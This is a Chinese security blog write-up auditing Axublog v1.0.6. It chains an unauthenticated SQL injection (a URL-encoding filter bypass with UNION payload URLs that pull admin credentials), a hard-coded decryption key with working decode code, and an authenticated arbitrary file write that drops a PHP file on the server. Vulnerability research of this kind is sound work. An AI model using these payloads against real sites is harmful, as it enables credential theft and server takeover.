安全研究

代码审计:Axublog 前台 SQL 注入到后台 GetShell

#Web安全#代码审计#SQL注入
近黑深绿蓝背景上的铜橙色断裂链条与数字表面裂痕,象征 SQL 注入穿透查询边界到 GetShell 的攻击链

背景

看了 CNVD 上有师傅发了 Axublog 的漏洞,便对该源码进行分析和漏洞复现。在复现过程中发现,可以将这些漏洞组合利用——通过前台 SQL 注入与后台任意文件上传,轻松获取 GetShell。当然该源码还存在许多安全问题,本篇未涉及。

源码下载地址原为 http://pic.axublog.com/axublog1.0.6install.rar

前台 SQL 注入

  • 源码版本:Axublog v1.0.6
  • 漏洞位置:hit.php
  • 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-35761

下载源码并安装后,根据 CNVD 上的描述,存在漏洞的文件是 ad/theme.php,打开该文件进行审计。经审计发现该文件还存在其他多个漏洞,本篇先不做分析。

  1. 根据 CNVD 上的描述,在 hit.php 文件中发现如下代码块,使用 $_GET 接收参数 id 的值并直接传入 SQL 语句进行拼接,且没有进行任何安全处理,因此存在 SQL 注入漏洞。在文件第 20 行将 SQL 语句的执行结果打印出来,所以是有回显的 SQL 注入。

hit.php 中直接拼接 SQL 的漏洞代码

  1. 此处是前台页面,可以直接访问,进行 SQL 注入获取数据库中的敏感信息。首先需要满足 if 条件语句的要求:使用 GET 请求 g 参数值为 arthitid 参数值不为空。进行如下请求后用 mysql 监控工具监测执行的 SQL 语句,确保传入的参数已经执行。

  2. 执行请求发现被拦截了,然后在文件第 4-5 行发现 sqlguolv 方法。

sqlguolv 过滤方法

  1. 跟入该方法,在 axublog1.0.6/class/c_other.php 文件第 545-548 行找到该方法代码块。

  2. 该代码块使用 $_SERVER['QUERY_STRING'] 获取查询语句(一般是问号后面的字符串)。需要特别注意的是,$_SERVER['QUERY_STRING'] 返回的是原始未解码的查询字符串,而 $_GET 会对参数值进行一次 URL 解码。由于过滤时用 $_SERVER['QUERY_STRING'] 接收处理,而传 id 值时用 $_GET 接收,所以可以使用 URL 编码绕过检测。

获取管理员用户名:

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12+from+axublog_adusers

获取管理员用户密码:

http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12+from+axublog_adusers

UNION 注入 PoC 执行结果

  1. 分析时发现 axublog1.0.6/ad/login.php 第 88 行中密码使用了 authcode 方法进行加密。

  2. 跟入 authcode 方法,在 axublog1.0.6/class/c_md5.php 文件第 16-62 行找到该方法代码块。将加解密方法抓取出来,结合 login.php 第 88 行,可知加解密用的字符串写成了固定值 key。使用如下方式即可获得从数据库中得到的管理员密码明文,然后登录后台。

authcode 加解密方法代码

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 0;
    // 随机密钥长度 取值 0-32;加入随机密钥可令密文无规律,取值为 0 时不产生随机密钥
    $key = md5($key ? $key : EABAX::getAppInf('KEY'));
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$psw = 'yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';
echo authcode(@$psw, 'DECODE', 'key', 0);
?>

后台 GetShell

  • 源码版本:Axublog v1.0.6
  • 漏洞位置:ad/theme.php
  • 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-36013
  1. ad/theme.php 文件第 185-205 行发现 edit2save 方法,其中将 $_REQUEST 请求的 path 参数和 content 参数分别作为保存的路径和内容,传入 file_put_contents 进行保存操作。

edit2save 中 file_put_contents 任意文件写入

  1. 追溯 edit2save 方法被调用的位置,在 ad/theme.php 第 10-25 行发现,当 GET 传入 g 参数值为 edit2save 时便会调用该方法。

  2. 由于该文件需要登录后台访问,单独利用受限。但与前台 SQL 注入组合,便可使用获取到的管理员账号登录,进行如下请求验证:GET 传入 g=edit2save,POST 传入 path=./evil_shell.php&content=<?php phpinfo();?>

然后再访问 http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php,便能访问到上传的恶意文件。

写在最后

本篇涉及 Axublog 的三个主要问题:1. 前台 SQL 过滤可被绕过;2. 加密的 key 默认固定;3. 后台存在任意文件上传。利用这三个问题便可前台 GetShell。最后感谢师傅们的指导,期待和师傅们的各种交流。

(这类小型 CMS 在 2018 年前后普遍存在类似问题:过滤逻辑与参数接收方式不一致、加密 key 硬编码、后台缺乏文件操作校验。安全审计时把它们串成链,往往能从不起眼的前台漏洞一路打到 GetShell——这也是代码审计相较于自动化扫描的价值所在:人能看到漏洞之间的因果连接。)